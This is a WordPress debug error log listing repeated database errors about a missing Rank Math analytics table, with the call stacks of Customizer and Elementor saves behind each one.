[21-Feb-2026 19:19:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, do_action('customize_save_nav_menus_created_posts'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Nav_Menus->save_nav_menus_created_posts, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 19:19:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1158 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, do_action('customize_save_nav_menus_created_posts'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Nav_Menus->save_nav_menus_created_posts, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:19:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1159 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:19:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1156 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:19:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1156 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:20:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1160 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 31 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 32 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 33 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 34 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1159 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1160 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:21:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1160 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:39:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 19:39:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1161 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:39:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 19:39:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1162 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:39:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 19:39:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1163 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:48:54 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:48:54 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 19:48:54 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 20:46:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 20:46:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:43:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:43:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:45:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:45:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1164 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:48:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 21:48:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1165 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:48:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 21:48:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1166 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [21-Feb-2026 21:48:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [21-Feb-2026 21:48:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1167 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [05-Mar-2026 18:27:58 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1168 made by wp_dashboard, do_meta_boxes, wp_dashboard_quick_press, get_default_post_to_edit, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, 